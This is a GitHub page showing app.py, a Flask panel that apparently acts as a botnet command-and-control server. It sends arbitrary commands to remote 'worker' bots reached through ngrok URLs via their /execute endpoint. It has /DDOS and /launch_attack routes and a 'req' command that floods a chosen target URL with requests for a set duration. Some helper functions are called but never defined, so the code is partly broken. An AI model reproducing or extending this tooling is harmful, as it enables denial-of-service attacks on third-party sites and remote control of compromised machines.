-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.py
167 lines (134 loc) · 5.34 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from flask import Flask, render_template, request, jsonify
import requests
import os
import signal
import time
app = Flask(__name__)
# Global variables
ngrok_urls = []
bot_username = "Unknown_user" # Assign your bot's username here
# Function to get the username of a worker
def get_username(url):
endpoint = f"{url}/get_username"
try:
response = requests.get(endpoint)
response.raise_for_status()
username = response.json().get('username', 'Unknown User')
return username
except requests.exceptions.RequestException as e:
print(f"Failed to get username from {url}. Error: {e}")
return None
# Function to send command to a worker
def send_command_to_worker(ngrok_url, command):
endpoint = f"{ngrok_url}/execute"
try:
response = requests.post(endpoint, json={'command': command})
response.raise_for_status()
return response.json().get('result', 'No result received')
except requests.exceptions.RequestException as e:
return f"Failed to send command to {ngrok_url}. Error: {e}"
# Function to launch requests
def launch_requests(url, duration):
end_time = time.time() + duration
responses = []
while time.time() < end_time:
for ngrok_url in ngrok_urls:
try:
response = requests.get(url) # Send a GET request to the target URL
responses.append(f"Response from {ngrok_url}: {response.status_code}")
except Exception as e:
responses.append(f"Failed to send request to {ngrok_url}: {e}")
return responses
# Home page
@app.route('/')
def index():
return render_template('index.html')
@app.route('/map')
def map():
return render_template('map.html')
@app.route('/script_generator')
def script_generator():
return render_template('gen.html')
# Endpoint to set ngrok URLs
@app.route('/set_ngrok', methods=['POST'])
def set_ngrok():
global ngrok_urls
ngrok_urls = request.form['ngrok_urls'].split(',')
ngrok_urls = [url.strip() for url in ngrok_urls] # Clean whitespace
return jsonify(message="ngrok URLs updated successfully.")
# Endpoint to send command
@app.route('/send_command', methods=['POST'])
def send_command():
global bot_username
command = request.form['command']
results = []
if command.lower().startswith("req "):
try:
parts = command.split() # Split the command into parts
target_url = parts[1] # Extract the target URL
duration = int(parts[2]) # Extract the duration in seconds
# Launch requests to the target URL for the specified duration
responses = launch_requests(target_url, duration)
results.extend(responses)
except (IndexError, ValueError):
return jsonify(results=["Invalid command format. Use: req <URL> <DURATION>"]), 400
elif command.lower() == "update_username":
for ngrok_url in ngrok_urls:
current_username = get_username(ngrok_url)
if current_username:
bot_username = current_username # Update the bot's username
result = update_username(ngrok_url, bot_username)
results.append(f"Response from {ngrok_url}: {result}")
elif command.lower() == "update_coordinates":
for ngrok_url in ngrok_urls:
coordinates = get_coordinates(ngrok_url)
else:
for ngrok_url in ngrok_urls:
result = send_command_to_worker(ngrok_url, command)
results.append(f"Response from {ngrok_url}: {result}")
return jsonify(results=results)
# Launch attack endpoint
@app.route('/launch_attack', methods=['POST'])
def launch_attack():
data = request.json
url = data.get('url')
duration = data.get('duration')
# Here you would implement the logic to launch the attack.
# Simulating an attack by sending GET requests to the target URL.
end_time = time.time() + int(duration)
while time.time() < end_time:
try:
requests.get(url) # Replace with your attack logic
except Exception as e:
print(f"Failed to send request to {url}: {e}")
return jsonify(message="Attack launched"), 200
@app.route('/DDOS')
def ddos_page():
return render_template('ddos.html')
@app.route('/status')
def status_page():
return render_template('status.html')
# Route for the bots page
@app.route('/bots')
def bots():
# Create a dictionary mapping each ngrok URL to its username
bots = {url: get_username(url) for url in ngrok_urls}
return render_template('bots.html', bots=bots) # Pass the bots dictionary to the template
# Endpoint to remove a URL
@app.route('/remove_url', methods=['POST'])
def remove_url():
global ngrok_urls
data = request.get_json()
url_to_remove = data.get('url')
if url_to_remove in ngrok_urls:
ngrok_urls.remove(url_to_remove) # Remove the URL from the list
return jsonify(message="URL removed successfully."), 200
else:
return jsonify(message="URL not found."), 404
@app.route('/shutdown', methods=['POST'])
def shutdown():
signal.signal(signal.SIGINT, signal.SIG_DFL) # Allow the program to be killed
os.kill(os.getpid(), signal.SIGINT)
return jsonify(message="Shutting down the server.")
if __name__ == '__main__':
app.run(debug=True)